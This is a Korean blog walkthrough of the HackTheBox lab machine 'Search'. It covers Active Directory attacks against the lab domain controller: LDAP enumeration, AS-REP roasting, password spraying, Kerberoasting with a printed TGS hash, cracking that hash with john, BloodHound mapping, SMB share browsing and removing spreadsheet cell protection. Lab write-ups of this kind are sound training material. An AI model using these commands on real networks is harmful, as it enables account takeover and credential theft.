상세 컨텐츠

본문 제목

[HackTheBox] Search

Penetration/HackTheBox

by obscurity_ 2024. 10. 30. 00:24

본문

 

 

 

53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
8172/tcp  open  unknown
9389/tcp  open  adws
 

열려있는 포트를 보면 도메인 컨트롤러라는 것이 추측됩니다.

자세한 포트스캔을 통해서 도메인 정보를 획득하고

이 두 정보를 /etc/hosts와 /etc/resolve.conf에 추가해줍니다.

 

53/tcp    open  tcpwrapped
80/tcp    open  tcpwrapped
|_http-title: Search — Just Testing IIS
|_http-server-header: Microsoft-IIS/10.0
| http-methods:                           
|_  Potentially risky methods: TRACE
88/tcp    open  tcpwrapped   
135/tcp   open  tcpwrapped
139/tcp   open  tcpwrapped
389/tcp   open  tcpwrapped                                                                                                                                                       
| ssl-cert: Subject: commonName=research                                                
| Not valid before: 2020-08-11T08:13:35
|_Not valid after:  2030-08-09T08:13:35
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
443/tcp   open  ssl/tcpwrapped
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after:  2030-08-09T08:13:35
445/tcp   open  tcpwrapped
464/tcp   open  tcpwrapped
593/tcp   open  tcpwrapped
636/tcp   open  tcpwrapped
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after:  2030-08-09T08:13:35
3268/tcp  open  tcpwrapped
3269/tcp  open  tcpwrapped
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after:  2030-08-09T08:13:35
|_ssl-date: 2024-10-29T13:26:04+00:00; 0s from scanner time.
8172/tcp  open  tcpwrapped
9389/tcp  open  tcpwrapped
 

그러나 아쉽게도 도메인 정보는 나오지 않았습니다.

그래서 그냥 호스트 주소만 네임서버로 등록을 해줍니다.

 

서버엔 LDAP이 실행중이었기 때문에 ldapsearch를 통해서

도메인 정보를 수집할 수 있었습니다.

ldapsearch -x -H ldap://10.10.11.129 -s base
 
serverName: CN=RESEARCH,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Conf
 iguration,DC=search,DC=htb
 

 

FQDN은 research.search.htb이고 도메인은 search.htb입니다.

SMB와 LDAP에 익명 로그인은 되었지만

쉐어 목록 확인이나 여러가지 활동에 대한 권한은 전혀 없었습니다.

웹서버가 실행중이었으니 웹서버로 이동을 해봅니다.

 

먼저 우리가 웹 페이지 내에서 정보수집을 해주기 전에

획득한 도메인과 디렉토리 스캔을 먼저 돌려줍니다.

 

gobuster vhost -k -w /usr/share/dirb/wordlists/subdomain.txt -u http://search.htb/ --append-domain
 
ffuf -w /usr/share/dirb/wordlists/directory-medium.txt -e .php,.zip,.txt -u http://search.htb/FUZZ 
 

 

서브도메인은 별다른 게 나오지는 않았는데

디렉토리 스캔 결과는 조금 특별해보이는 디렉토리가 발견됩니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# ffuf -w /usr/share/dirb/wordlists/directory-medium.txt -e .php,.zip,.txt -u http://search.htb/FUZZ                             

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://search.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/directory-medium.txt
 :: Extensions       : .php .zip .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

images                  [Status: 301, Size: 148, Words: 9, Lines: 2, Duration: 78ms]
certsrv                 [Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 114ms]
staff                   [Status: 403, Size: 1233, Words: 73, Lines: 30, Duration: 698ms]
 

 

401 상태코드는 인증 정보가 부족한 것이고

403 상태코드는 권한이 없는 것을 의미합니다.

반대로 말하면 권한이 있다면 이 페이지에 접속이 가능하다는 뜻입니다.

가끔씩 어떤 서버는 403 상태코드인 디렉토리 하위에 대해서 요청을 하면

그 요청은 성공하는 것을 확인할 수 있습니다.

하지만 서버에서는 그 하위 디렉토리 자체에 대한 요청도

모두 거절하기 때문에 별다른 소득은 존재하지 않았습니다.

 

우선 웹 페이지에서 중요한 정보인 직원 이름을 획득했습니다.

적당한 정규표현식을 사용해서 사용될 수 있는

직원 이름 포맷을 만들어줍니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# cat Coworkers.txt            
Keely.Lyons
Dax.Santiago
Sierra.Frye
Kyla.Stewart
Kaiara.Spencer
Dave.Simpson
Ben.Thompson
Chris.Stewart
KLyons
DSantiago
SFrye
KStewart
KSpencer
DSimpson
BThompson
CStewart
K.Lyons
D.Santiago
S.Frye
K.Stewart
K.Spencer
D.Simpson
B.Thompson
C.Stewart
KeelyLyons
DaxSantiago
SierraFrye
KylaStewart
KaiaraSpencer
DaveSimpson
BenThompson
ChrisStewart
 

이제 정보를 획득했으니 이 정보를 토대로 AS-REP-Roasting

공격을 수행해봐야겠죠

 

근데 이 머신은 HTB에서 Hard 머신으로 상당히 많이 어려운 편인데

이 머신에서 배울 것은 굉장히 많았음에도 아쉬운 것은

상당히 억지 스러운 난이도가 초반에 존재한다는 것입니다.

실제로 저 유저목록은 쓸데없는데, 실제로 쓸데있는 것은

홈페이지에 캐러셀 이미지로 존재하는 노트 속 계정정보입니다.

 

 

노트 속 정보를 보면 유저 이름은 HopeSharp이고

패스워드는 IsolationIsKey? 입니다.

되게 억지스러운 난이도이며 실무, 실용성이 1도 없는 짓이라고 생각합니다.

 

아무튼 이 정보 역시 유저목록에 추가를 해주고

AS-REP-Roasting공격이 가능한지 테스트를 해준 뒤에

IsolationIsKey? 라는 패스워드로 로그인이 되는 사용자가

있는지 찾아보기 위해서 패스워드 스프레잉 공격을 해줍니다.

 

impacket-GetNPUsers search.htb/'' -usersfile Coworkers.txt -dc-ip 10.10.11.129
 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-GetNPUsers search.htb/'' -usersfile Coworkers.txt -dc-ip 10.10.11.129            
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:163: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Keely.Lyons doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Dax.Santiago doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Sierra.Frye doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User Hope.Sharp doesn't have UF_DONT_REQUIRE_PREAUTH set
 

AS-REP-Roasting 공격을 해줬는데 소득은 존재하지 않습니다.

 

이제 패스워드 스프레잉 공격을 해줄 차례입니다.

nxc smb 10.10.11.129 -u Coworkers.txt -p 'IsolationIsKey?' --continue-on-success
 
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.11.129 -u Coworkers.txt -p 'IsolationIsKey?' --continue-on-success
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Keely.Lyons:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Dax.Santiago:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Sierra.Frye:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Kyla.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Kaiara.Spencer:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Dave.Simpson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Ben.Thompson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\Chris.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\KLyons:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\DSantiago:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\SFrye:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\KStewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\KSpencer:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\DSimpson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\BThompson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\CStewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\K.Lyons:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\D.Santiago:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\S.Frye:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\K.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\K.Spencer:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\D.Simpson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\B.Thompson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\C.Stewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\KeelyLyons:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\DaxSantiago:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\SierraFrye:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\KylaStewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\KaiaraSpencer:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\DaveSimpson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\BenThompson:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\ChrisStewart:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\HopeSharp:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\H.Sharp:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [-] search.htb\HSharp:IsolationIsKey? STATUS_LOGON_FAILURE 
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\Hope.Sharp:IsolationIsKey? 
 

 

모두 실패한 것 같지만 마지막에 Hope.Sharp 라는 계정에서

해당 패스워드로 로그인이 성공합니다.

 

Hope.Sharp : IsolationIsKey?

 

이 정보로 SMB 쉐어를 확인해주면 한가지 쉐어에 접근이 가능합니다.

┌──(root㉿kali)-[~/Pentest/Machine]                                                                                                                                              
└─# nxc smb 10.10.11.129 -u Hope.Sharp -p IsolationIsKey? --shares                                                                                                               
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10 / Server 2019 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.129    445    RESEARCH         [+] search.htb\Hope.Sharp:IsolationIsKey? 
SMB         10.10.11.129    445    RESEARCH         [*] Enumerated shares                                                                                                        
SMB         10.10.11.129    445    RESEARCH         Share           Permissions     Remark      
SMB         10.10.11.129    445    RESEARCH         -----           -----------     ------       
SMB         10.10.11.129    445    RESEARCH         ADMIN$                          Remote Admin                               
SMB         10.10.11.129    445    RESEARCH         C$                              Default share
SMB         10.10.11.129    445    RESEARCH         CertEnroll      READ            Active Directory Certificate Services share
SMB         10.10.11.129    445    RESEARCH         helpdesk                                                                                                                     
SMB         10.10.11.129    445    RESEARCH         IPC$            READ            Remote IPC
SMB         10.10.11.129    445    RESEARCH         NETLOGON        READ            Logon server share 
SMB         10.10.11.129    445    RESEARCH         RedirectedFolders$ READ,WRITE      
SMB         10.10.11.129    445    RESEARCH         SYSVOL          READ            Logon server share
 

기본 쉐어를 제외하고 RedirectedFolders$ 라는 쉐어가

존재하네요

그럼 해당 쉐어에 접속도 해주고

우리가 사용자 계정을 획득했으므로 해줄 수 있는 공격은 이렇습니다.

 

  1. BloodHound를 이용하여 AD 권한상승 취약점 파악
  2. SMB 쉐어 접근
  3. LDAP 정보 파악
  4. BloodHound에서 얻은 유저 정보를 통해서 AS-REP-Roasting 공격
  5. 커버로스팅

 

우선은 SMB와 LDAP에 대한 정보수집, 그리고 커버로스팅을 해보겠습니다.

 

┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-GetUserSPNs 'search.htb/hope.sharp:IsolationIsKey?' -request -dc-ip 10.10.11.129
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

ServicePrincipalName               Name     MemberOf  PasswordLastSet             LastLogon  Delegation 
---------------------------------  -------  --------  --------------------------  ---------  ----------
RESEARCH/web_svc.search.htb:60001  web_svc            2020-04-09 21:59:11.329031  <never>               



[-] CCache file is not found. Skipping...
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$1c14153ddae601054e3570632bc3aa6d$1349553b7ff8e1d601d6ff9c8440a60573b64c8a4c2ae533e0d1dd3204df40b47ca57cc35c27446e2a1d74fcbd3807c7f9ded5ea083af072f83a0df87be65fe178d988cb18b226a2badcf257202aa7ca55892985b9453d0b793ea5803b57bb1e0fc713bfa494ddf8e24e12bb89f2e84d48704c9c3423af16aad6fb50015449342eb8c2763ef0c3c9ded63db168d8faf7feb62d408ea6e1051160286e326525053e03268d4cacf178e6db4525b0b10f3522dbc70452b73d1d5cb1ceb8a2a481a58479deccd6248625f6da1e5068464b7dbe2566cc40d0fcc0da93590907d8879510c609859ae5a0c8dcb3bcf8b580581c053f4014792c386c10a26f524f7a8c76af5271ffeabbe5c4fbd9e79370d1eb47eba0e4bcf3a6a7a471871db895ba4ad5ffa69394136988b8d811d527cdd2c3cf13e95480543e7aede8fbdc1cbd4ecc65a848635edfaa0f958797246486618d5889572cd5fff04752374efbc1e77c9680d34bf84f777a133b0a43d615b11a721385350f58d0aa8680b2a0df3e268f97b7b6f14ef4eeeb52f2f524fb078fcd0cde769c37b9310edb677e7ce780d0c9b6deb5d622c2dbfdf55d216ed606c951b79706b9b8c215dce9f6b4c50aa64039f5665ab3d8b8e5f1e37841bd4fccad2335f693c04f281c783078a9da7be08bc938e00ba413c5fb31db8a86b56d3abf2bc40bf78dd53cfd5a9d11d9ca69c8bcb26966efe6115ac5c308283bd66b717a232be84799cb402c91d6ce77593c23bc8a4c1552c3fa9b44d792bea5c20b9d0d87170e3f34a539df30ec88e7e5ae61c86eb311df4130e540930b2b75f4cf6cdf3e11a3a29963f685484917c5345959ba2a09bb265c01badd06ccf259eb1fc613fafce535f2c9b8e36fb1d579a7856c981af7ce596f5356b24c9ed52d8e495fc8b8cbc142c43a8666478d96371a1e7fdf1190072d73d3b5d7d26f0f8db044674039f7bc7740bcc01de15c378fe5f642c867ee847be431277be07016055ed876db89714cce8afb77285c562c5faaaddd99deaead501097483935a93edef330bea44d38c83b4e91997036db4e95e5ea68e4e1ef1255e94938be6a28c71293770b31da9de8a0e51c2ad6a2c3933fb64b7bbd9f89c650e7becd41addf5c27271905db7b76c1f05610ab14e94905a82906f2a36b16052ff1cf797dc68ad0224c518948a48eb0802a77b38ece156685723cb42e187dd48ca8d00b35e33a8177c9b37546fe9fffdb26e486b4ac14429eae3b63283fee7273f1671a8e765d59a89fc5543798fc7e1abea3b60a1eab1e20e626ab512f8f00cba1164683955282e66dc4205ee06736678016dab7bcf43ef452274f5daa1710db9cacfda16fdab663064712844e7132f45f08d2437e74d94d76a82bca79085efbdfc5a593ca61e062176bddfc74f4ee088a3b73fbf59a4cdd4362663b69fd550e0987bba069bede5f0785bf9c1952c28bc2026df6
 

 

다행히도 web_svc라는 계정에 대한 커버로스팅이 성공하네요

그럼 이 패스워드를 복호화 해보겠습니다.

┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash   
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
@3ONEmillionbaby (?)     
1g 0:00:00:04 DONE (2024-10-29 22:50) 0.2155g/s 2477Kp/s 2477Kc/s 2477KC/s @421eduymayte619..<5862548>
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
 

 

해쉬 크래킹이 성공했습니다.

 

web_svc : @3ONEmillionbaby

 

 

그리고 블러드하운드를 통해 AD 정보도 매핑해줍니다.

bloodhound-python -u hope.sharp -p IsolationIsKey? -ns 10.10.11.129 -d search.htb --zip -c All
 

블러드하운드가 실행되는 동안 SMB에 접속을 해봤는데 사용자들

디렉토리가 존재합니다.

아마도 C:\Users 디렉토리 하위에 쉐어가 존재했던 것 같습니다.

디렉토리가 너무 여러개라서 접근 가능한것이 무엇인지 파악하기 힘들어서

마운트한 다음 열거해줍니다.

 

┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f  2>/dev/null
./hope.sharp/Desktop/$RECYCLE.BIN/desktop.ini
./hope.sharp/Desktop/desktop.ini
./hope.sharp/Desktop/Microsoft Edge.lnk
./hope.sharp/Documents/$RECYCLE.BIN/desktop.ini
./hope.sharp/Documents/desktop.ini
./hope.sharp/Downloads/$RECYCLE.BIN/desktop.ini
./hope.sharp/Downloads/desktop.ini
./sierra.frye/Desktop/$RECYCLE.BIN/desktop.ini
./sierra.frye/Desktop/desktop.ini
./sierra.frye/Desktop/Microsoft Edge.lnk
./sierra.frye/Desktop/user.txt
./sierra.frye/user.txt
                                                                                                                                                                                 
┌──(root㉿kali)-[/mnt/smbshare]
└─# cat sierra.frye/Desktop/user.txt
cat: sierra.frye/Desktop/user.txt: Permission denied
                                                                                                                                                                                 
┌──(root㉿kali)-[/mnt/smbshare]
└─# cat sierra.frye/user.txt            
cat: sierra.frye/user.txt: Permission denied
 

SMB를 통한 소득은 유저플래그밖에 없는 것 같은데

그마저도 읽기 권한이 없어서 읽지는 못합니다.

 

그러는동안 블러드하운드가 완료되어서 집파일을 업로드해주고

매핑 정보를 확인해줍니다.

AD 내에서 파악된 권한상승 정보는

web_svc와 hope.sharp 모두 존재하지는 않습니다.

 

다만 우리가 블러드 하운드를 통해서 얻을 수 있는 것은

AD 내에서 존재하는 실제 사용자들의 모든 계정 정보입니다.

이 정보를 neo4j를 통해서 덤핑한다음 AS-REP-Roasting을 할 수 있는것은

새로운 기회이기도 합니다.

 

MATCH (u:User {enabled:true})
RETURN u.name
 

이 명령을 neo4j 콘솔에서 입력해주면 사용자 목록이 출력되고

json 데이터로 다운받아줍니다.

하지만 AS-REP-Roasting 공격에 취약한 계정은

하나도 없는 것 같습니다.

 

이제 해볼 수 있는 것은 확보한 계정 목록 중에서

web_svc 혹은 hope.sharp 계정과 패스워드가 동일한

계정이 있는지 확인해보는 패스워드 스프레잉 공격만 남았습니다.

 

nxc smb 10.10.11.129 -u Coworkers.txt -p '@3ONEmillionbaby' --continue-on-success 
nxc smb 10.10.11.129 -u Coworkers.txt -p 'IsolationIsKey?' --continue-on-success
 

놀랍게도 web_svc 계정과 동일한 패스워드로 로그인 되는 계정인

EDGAR 계정이 존재했습니다.

 

 

블러드하운드에서 확인해보니 이 계정 역시 아웃바운드 객체는 없습니다.

그래서 이 계정으로 SMB에 로그인을 시도해봅니다.

 

EDGAR 계정은 SMB가 조금 특별했습니다.

EDGAR 계정의 개인 디렉토리에서는 xlsx 파일이 존재했습니다.

┌──(root㉿kali)-[/mnt/smbshare]
└─# find . -type f  2>/dev/null 
./edgar.jacobs/Desktop/$RECYCLE.BIN/desktop.ini
./edgar.jacobs/Desktop/desktop.ini
./edgar.jacobs/Desktop/Microsoft Edge.lnk
./edgar.jacobs/Desktop/Phishing_Attempt.xlsx
./edgar.jacobs/Documents/$RECYCLE.BIN/desktop.ini
./edgar.jacobs/Documents/desktop.ini
./edgar.jacobs/Downloads/$RECYCLE.BIN/desktop.ini
./edgar.jacobs/Downloads/desktop.ini
./sierra.frye/Desktop/$RECYCLE.BIN/desktop.ini
./sierra.frye/Desktop/desktop.ini
./sierra.frye/Desktop/Microsoft Edge.lnk
./sierra.frye/Desktop/user.txt
./sierra.frye/user.txt
 

 

xlsx 파일을 로컬로 옮긴다음 libreoffice를 사용해서 열어볼 수 있습니다.

 

엑셀 파일을 열면 C 컬럼이 가려져있어서 확장시켜보니

보호된 셀이라는 문구가 뜨고 수정할 수 없습니다.

 

https://support.microsoft.com/ko-kr/office/excel%EC%97%90%EC%84%9C-%EC%A7%80%EC%9B%90%ED%95%98%EB%8A%94-%ED%8C%8C%EC%9D%BC-%ED%98%95%EC%8B%9D-0943ff2c-6014-4e8d-aaea-b83d51d46247

 

 

마이크로소프트 공식 문서에 따르면 xlsx 파일은 xml 파일의 집합체라고 합니다.

사실 이 파일 자체가 xml 파일 여러개를 압축한 것과

동일하기 때문에 우리가 가xlsx 파일을 다시 압축 해제하는 것도 가능하고

해제를 한 뒤에 xml 파일을 수정한 뒤 다시 압축하는 것 또한 가능합니다.

 

┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# unzip Phishing_Attempt.xlsx 
Archive:  Phishing_Attempt.xlsx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: xl/workbook.xml         
  inflating: xl/_rels/workbook.xml.rels  
  inflating: xl/worksheets/sheet1.xml  
  inflating: xl/worksheets/sheet2.xml  
  inflating: xl/theme/theme1.xml     
  inflating: xl/styles.xml           
  inflating: xl/sharedStrings.xml    
  inflating: xl/drawings/drawing1.xml  
  inflating: xl/charts/chart1.xml    
  inflating: xl/charts/style1.xml    
  inflating: xl/charts/colors1.xml   
  inflating: xl/worksheets/_rels/sheet1.xml.rels  
  inflating: xl/worksheets/_rels/sheet2.xml.rels  
  inflating: xl/drawings/_rels/drawing1.xml.rels  
  inflating: xl/charts/_rels/chart1.xml.rels  
  inflating: xl/printerSettings/printerSettings1.bin  
  inflating: xl/printerSettings/printerSettings2.bin  
  inflating: xl/calcChain.xml        
  inflating: docProps/core.xml       
  inflating: docProps/app.xml        
                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# ls
 Phishing_Attempt.xlsx  '[Content_Types].xml'   _rels   docProps   xl
                                                                                                                                                                                 
┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# nano xl/worksheets/sheet2.xml 
 

 

보호된 셀이 있던 시트는 2번째 시트였기 때문에

2번째 시트의 xml 파일을 에디터로 열어줍니다.

그리고 Protection 태그에 있는 내용만 모두 지워줍니다.

 

수정을 한 다음 편집한 디렉토리를 다시 압축해줍니다.

┌──(root㉿kali)-[~/Pentest/Machine/Phishing]
└─# zip -r phishing.xlsx .
  adding: xl/ (stored 0%)
  adding: xl/_rels/ (stored 0%)
  adding: xl/_rels/workbook.xml.rels (deflated 74%)
  adding: xl/worksheets/ (stored 0%)
  adding: xl/worksheets/sheet1.xml (deflated 79%)
  adding: xl/worksheets/_rels/ (stored 0%)
  adding: xl/worksheets/_rels/sheet2.xml.rels (deflated 42%)
  adding: xl/worksheets/_rels/sheet1.xml.rels (deflated 55%)
  adding: xl/worksheets/sheet2.xml (deflated 73%)
  adding: xl/calcChain.xml (deflated 55%)
  adding: xl/sharedStrings.xml (deflated 55%)
  adding: xl/printerSettings/ (stored 0%)
  adding: xl/printerSettings/printerSettings2.bin (deflated 67%)
  adding: xl/printerSettings/printerSettings1.bin (deflated 67%)
  adding: xl/drawings/ (stored 0%)
  adding: xl/drawings/_rels/ (stored 0%)
  adding: xl/drawings/_rels/drawing1.xml.rels (deflated 39%)
  adding: xl/drawings/drawing1.xml (deflated 58%)
  adding: xl/theme/ (stored 0%)
  adding: xl/theme/theme1.xml (deflated 80%)
  adding: xl/styles.xml (deflated 89%)
  adding: xl/workbook.xml (deflated 60%)
  adding: xl/charts/ (stored 0%)
  adding: xl/charts/_rels/ (stored 0%)
  adding: xl/charts/_rels/chart1.xml.rels (deflated 49%)
  adding: xl/charts/chart1.xml (deflated 77%)
  adding: xl/charts/style1.xml (deflated 90%)
  adding: xl/charts/colors1.xml (deflated 73%)
  adding: [Content_Types].xml (deflated 79%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (deflated 60%)
